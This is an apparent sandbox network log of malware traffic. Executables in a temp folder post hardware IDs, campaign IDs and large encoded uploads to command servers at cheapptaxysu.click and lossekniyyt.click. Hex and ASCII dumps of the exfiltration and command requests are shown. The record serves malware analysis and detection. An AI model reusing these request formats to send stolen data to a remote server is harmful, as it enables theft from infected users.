2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 ce 55 03 ea b5 36 42 Data Ascii: {1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)U6B
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e 27 03 c5 b5 da 38 52 Data Ascii: ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN'8R
2024-12-20 08:12:34 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pbq91t427av6rg389g470hpuc4; expires=Tue, 15 Apr 2025 01:59:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=42rt6jen8Bks7A1VulSFowLWBUexRuZ0MC5wlli5M0CVrohMdTvd97DeQywFttjm2lnPGyScypLQSotcMKfNWRDXEUeo2cmw%2Fp0N0S8nVSiiHmGeHNp5TDimXcUI5YS8UaOOkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2afdf837c481-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1550&rtt_var=598&sent=345&recv=590&lost=0&retrans=0&sent_bytes=2843&recv_bytes=570774&delivery_rate=1805813&cwnd=236&unsent_bytes=0&cid=0d9cce1ef21eba15&ts=2370&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49828	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:34 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1X3DHKBXPXJNABI3YW Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: cheapptaxysu.click
2024-12-20 08:12:34 UTC	8779	OUT	Data Raw: 2d 2d 31 58 33 44 48 4b 42 58 50 58 4a 4e 41 42 49 33 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 58 33 44 48 4b 42 58 50 58 4a 4e 41 42 49 33 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 58 33 44 48 4b 42 58 50 58 4a 4e 41 42 49 33 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 31 Data Ascii: --1X3DHKBXPXJNABI3YWContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--1X3DHKBXPXJNABI3YWContent-Disposition: form-data; name="pid"2--1X3DHKBXPXJNABI3YWContent-Disposition: form-data; name="lid"CZJvss----1
2024-12-20 08:12:35 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5en807imbbfesrfs3lnbdlc023; expires=Tue, 15 Apr 2025 01:59:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CiSMCPBMIk%2FJo1MWHbnjpQGAbk6h83JjSaNy8724Sxh9UTU%2FeVAQqLr9c5WprD32ID0i5%2BlBlAFhK8ov31MRXRTOCtJC3cg1Nstsw4qjjCdogef6FNMow3P%2FKvcE4DTJCY3r6BA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2b0d5c91de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1496&rtt_var=565&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9809&delivery_rate=1931216&cwnd=212&unsent_bytes=0&cid=b33249be955988be&ts=790&x=0"
2024-12-20 08:12:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49835	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:35 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: lossekniyyt.click
2024-12-20 08:12:35 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d 26 68 77 69 64 3d 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=9Z1cyc--&j=&hwid=BC5906996CC81CD4AC8923850305D13E
2024-12-20 08:12:36 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cm5qlcq06caflouuinocb7f56n; expires=Tue, 15 Apr 2025 01:59:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7RW3HA0tNoT8pi1FWiHT6oeodHI2vJafc41OD8Hgl1VAOZmZZik4tdBl8d1iKiMQ7cMGCSA1MgbJw%2B%2Fr9BepfEjuJ0AWReL76QiVSnTS1eYO4GBglrjpopuGlXhg1xsk%2FWXctA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2b156aec43ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1629&min_rtt=1628&rtt_var=613&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=978&delivery_rate=1780487&cwnd=205&unsent_bytes=0&cid=46a0f2901f19fc3d&ts=777&x=0"
2024-12-20 08:12:36 UTC	54	IN	Data Raw: 33 30 0d 0a 64 55 76 32 70 2f 6e 49 57 57 70 79 32 34 45 55 34 53 5a 51 6d 34 47 6e 50 4a 2b 79 34 33 44 39 51 56 44 65 48 68 44 6f 64 79 73 75 46 67 3d 3d 0d 0a Data Ascii: 30dUv2p/nIWWpy24EU4SZQm4GnPJ+y43D9QVDeHhDodysuFg==
2024-12-20 08:12:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49840	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:37 UTC	374	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7UT2HWQX6DTVC9FIJ5S Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20438 Host: cheapptaxysu.click
2024-12-20 08:12:37 UTC	15331	OUT	Data Raw: 2d 2d 37 55 54 32 48 57 51 58 36 44 54 56 43 39 46 49 4a 35 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 55 54 32 48 57 51 58 36 44 54 56 43 39 46 49 4a 35 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 55 54 32 48 57 51 58 36 44 54 56 43 39 46 49 4a 35 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a Data Ascii: --7UT2HWQX6DTVC9FIJ5SContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--7UT2HWQX6DTVC9FIJ5SContent-Disposition: form-data; name="pid"3--7UT2HWQX6DTVC9FIJ5SContent-Disposition: form-data; name="lid"CZJvss--
2024-12-20 08:12:37 UTC	5107	OUT	Data Raw: 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-20 08:12:38 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=de5esmn03anvc9q158c1oqe2fl; expires=Tue, 15 Apr 2025 01:59:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jeruP%2FwVreXgiMA1NlrALy0ed1Xa5RLUnG%2BqM0n%2FTIyxGAG7OBfy3lCZ6X3fC27Te4OKPKWZrVD%2B0d3W0zn%2FX3ylwOyXNjMRFCKQqn5FI6Sbn2kPo6CCihq4Hfrg2JipBmHD6Uk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2b1ebdbe7c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1984&min_rtt=1979&rtt_var=753&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21492&delivery_rate=1443400&cwnd=252&unsent_bytes=0&cid=4225544803d9ff71&ts=949&x=0"
2024-12-20 08:12:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49848	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:40 UTC	368	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S0JAKJ1UJBJLUD Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1267 Host: cheapptaxysu.click
2024-12-20 08:12:40 UTC	1267	OUT	Data Raw: 2d 2d 53 30 4a 41 4b 4a 31 55 4a 42 4a 4c 55 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 30 4a 41 4b 4a 31 55 4a 42 4a 4c 55 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 30 4a 41 4b 4a 31 55 4a 42 4a 4c 55 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 53 30 4a 41 4b 4a 31 55 4a 42 4a 4c 55 Data Ascii: --S0JAKJ1UJBJLUDContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--S0JAKJ1UJBJLUDContent-Disposition: form-data; name="pid"1--S0JAKJ1UJBJLUDContent-Disposition: form-data; name="lid"CZJvss----S0JAKJ1UJBJLU
2024-12-20 08:12:41 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=et4tsu5dhlpfcfnqim4aoruai4; expires=Tue, 15 Apr 2025 01:59:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FzHeZEOqOoJA7xNLo6EhudzO5WfDrNHmiPpCVxK5CJiP21yzD6e9LFm4Buj6dVkv8Bfe5SWwwyp7WCKbN1fo9DQ701Q%2BEio%2FT6Z%2F2T7pW97kw%2FtSokpTpt3e6%2FFCGPu5jcbcCy4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2b30f9764259-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2023&min_rtt=2010&rtt_var=780&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2271&delivery_rate=1378659&cwnd=233&unsent_bytes=0&cid=822bde52f0ed0f0b&ts=771&x=0"
2024-12-20 08:12:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49856	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:43 UTC	375	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=21YEBLWOQSZTE0BWZM0 Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568234 Host: cheapptaxysu.click
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: 2d 2d 32 31 59 45 42 4c 57 4f 51 53 5a 54 45 30 42 57 5a 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 31 59 45 42 4c 57 4f 51 53 5a 54 45 30 42 57 5a 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 31 59 45 42 4c 57 4f 51 53 5a 54 45 30 42 57 5a 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a Data Ascii: --21YEBLWOQSZTE0BWZM0Content-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--21YEBLWOQSZTE0BWZM0Content-Disposition: form-data; name="pid"1--21YEBLWOQSZTE0BWZM0Content-Disposition: form-data; name="lid"CZJvss--
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: cd af eb 7b ec d3 7b a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f Data Ascii: {{J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: df d6 22 00 f2 7a f0 fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 Data Ascii: "z}w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5IIE
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: 4a 75 eb ea c2 57 c6 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f Data Ascii: JuWZmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/O
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: 88 f5 3d f0 cc d6 73 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 Data Ascii: =s1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[{5
